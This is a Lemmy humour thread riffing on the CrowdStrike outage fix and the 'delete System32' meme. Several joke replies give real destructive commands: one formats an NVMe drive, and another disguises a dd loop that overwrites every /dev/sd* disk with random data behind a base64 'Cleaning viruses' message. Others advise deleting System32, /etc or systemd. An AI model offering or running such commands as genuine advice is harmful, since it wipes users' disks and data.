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What a simple fix (possumpat.io)
submitted 4 months ago by variants@possumpat.io to c/programmer_humor@programming.dev
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Seeing the crowdstrike solution reminded me of the old memes

Go to C:\Windows\System32\drivers\CrowdStrike

Locate and delete file matching "C-00000291*.sys"

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[–] henfredemars@infosec.pub 49 points 4 months ago (5 children)

Instructions unclear. Using Linux.

Wait a sec I think I found it.

[–] nickb333@fedia.io 33 points 4 months ago (1 children)

I found mine in $HOME/.wine32/drive_c/windows/system32

[–] henfredemars@infosec.pub 10 points 4 months ago (1 children)

This didn't break my whole system but it did break most of the software I value, so mission accomplished!

[–] nickb333@fedia.io 2 points 3 months ago

I made a typo in the above. If I correct it you'll be able to break what's left.

[–] Gradually_Adjusting@lemmy.world 24 points 4 months ago (1 children)

If you don't have system32, it's fine to delete one from the store

[–] xmunk@sh.itjust.works 9 points 4 months ago

Or find another computer and delete it from that.

[–] communism@lemmy.ml 11 points 4 months ago (1 children)

They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it's installed.

[–] Zangoose@lemmy.world 2 points 4 months ago

Instructions unclear installed Alpine linux

[–] refurbishedrefurbisher@lemmy.sdf.org 10 points 4 months ago (1 children)

On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

[–] Dark_Dragon@lemmy.dbzer0.com 3 points 4 months ago (1 children)

I'm using hdd

[–] refurbishedrefurbisher@lemmy.sdf.org 2 points 4 months ago (1 children) 
echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done
[–] Dark_Dragon@lemmy.dbzer0.com 4 points 4 months ago (1 children)

It said ' Cleaning viruses from computer..." And screen went dark

[–] refurbishedrefurbisher@lemmy.sdf.org 3 points 4 months ago

That's normal. That just means the viruses were cleaned from your computer.

[–] OopsAllTwix@lemmy.dbzer0.com 4 points 4 months ago (1 children)

It's the /etc folder in linux. Just extra crap you don't need.

[–] henfredemars@infosec.pub 3 points 4 months ago

ExTra Crap

[–] earmuff@lemmy.dbzer0.com 19 points 4 months ago

system32 is legacy crap anyways and is not used anymore. Everything important is stored in system64

[–] sirico@feddit.uk 15 points 4 months ago

Did this as a kid 600mb folder I needed space for quake

[–] Saganaki@lemmy.one 7 points 4 months ago (1 children)

It’s an unnecessary folder if you’re running 64-bit.

[–] AnUnusualRelic@lemmy.world 5 points 4 months ago

It's only there in case you downgrade your processor.

[–] tourist@lemmy.world 6 points 4 months ago* (last edited 4 months ago)

In my mind, this is exactly what happened with crowdstrike

[–] Iapar@feddit.org 6 points 4 months ago

[–] HexesofVexes@lemmy.world 6 points 4 months ago

I only wanted to triforce.

Now I need to fix dad's laptop before he gets home!

[–] Atomic@sh.itjust.works 6 points 4 months ago

Gonna have to bust out the good old carbon dating kit for this meme

[–] iAvicenna@lemmy.world 3 points 4 months ago* (last edited 4 months ago)

but that is where the 1TB "system files" folder is